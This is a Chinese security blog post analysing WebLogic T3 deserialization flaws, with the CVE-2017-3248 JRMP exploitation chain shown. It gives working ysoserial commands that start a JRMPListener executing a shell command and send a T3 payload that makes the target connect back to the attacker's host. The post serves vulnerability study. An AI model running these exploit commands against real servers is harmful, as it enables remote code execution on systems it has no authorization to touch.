weblogicT3反序列化之CVE-2017-3248&CVE-2018-2628&CVE-2018-3245

本文详细分析了WebLogic T3协议中的三个安全漏洞:CVE-2017-3248、CVE-2018-2628和CVE-2018-3245。这些漏洞通过JRMP服务端与客户端的交互,利用反序列化机制,导致远程代码执行。漏洞利用的关键在于`resolveProxyClass`和`resolveClass`方法,攻击者可以通过创建特定的payload来绕过过滤,实现远程代码执行。文章还介绍了补丁分析和绕过方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

上上篇文章我们分析了CVE-2015-4852、CVE-2016-0638、CVE-2016-3510的漏洞,因果是从resolveClass方法中出现的,resolveClass方法直接继承了父类的方法,然后没有任何过滤的造成了序列化漏洞,后面两个cve都是前者的绕过。今天分析一下CVE-2017-3248 & CVE-2018-2628,上上文中我们知道readClassDesc类描述方法可分为没有代理的类和代理类,CVE-2017-3248漏洞的成因就是代理类resolveProxyClass方法。
在这里插入图片描述

CVE-2017-3248

利用原理是:
攻击机开启JRMP服务端 -》利用T3协议发送payload使得weblogic反序列化后,开启JRMP客户端,并连接服务端 -》服务端发送exp给客户端,客户端上的DGC接收到响应即会反序列化。
核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行.
如果仔细分析过上篇文章的,这里的利用步骤能很容易看懂。
首先我们开启JRMP服务端:

java -cp .\ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/success'

在这里插入图片描述
利用T3协议发送payload/JRMPClient,然目标回连我们:

python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient

在这里插入图片描述
发送T3协议payload的POC

python2 p2-CVE-2017-3248.py dip dport path_ysoserial jrmp_listener_ip jrmp_listener_port jrmp_client

在这里插入图片描述
漏洞分析:
上文中的payloads/JRMPClient的分析部分就是这里漏洞的分析,只不过resolveProxyClass方法,没有过滤java.rmi.registry.Registry类,造成了反序列化。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值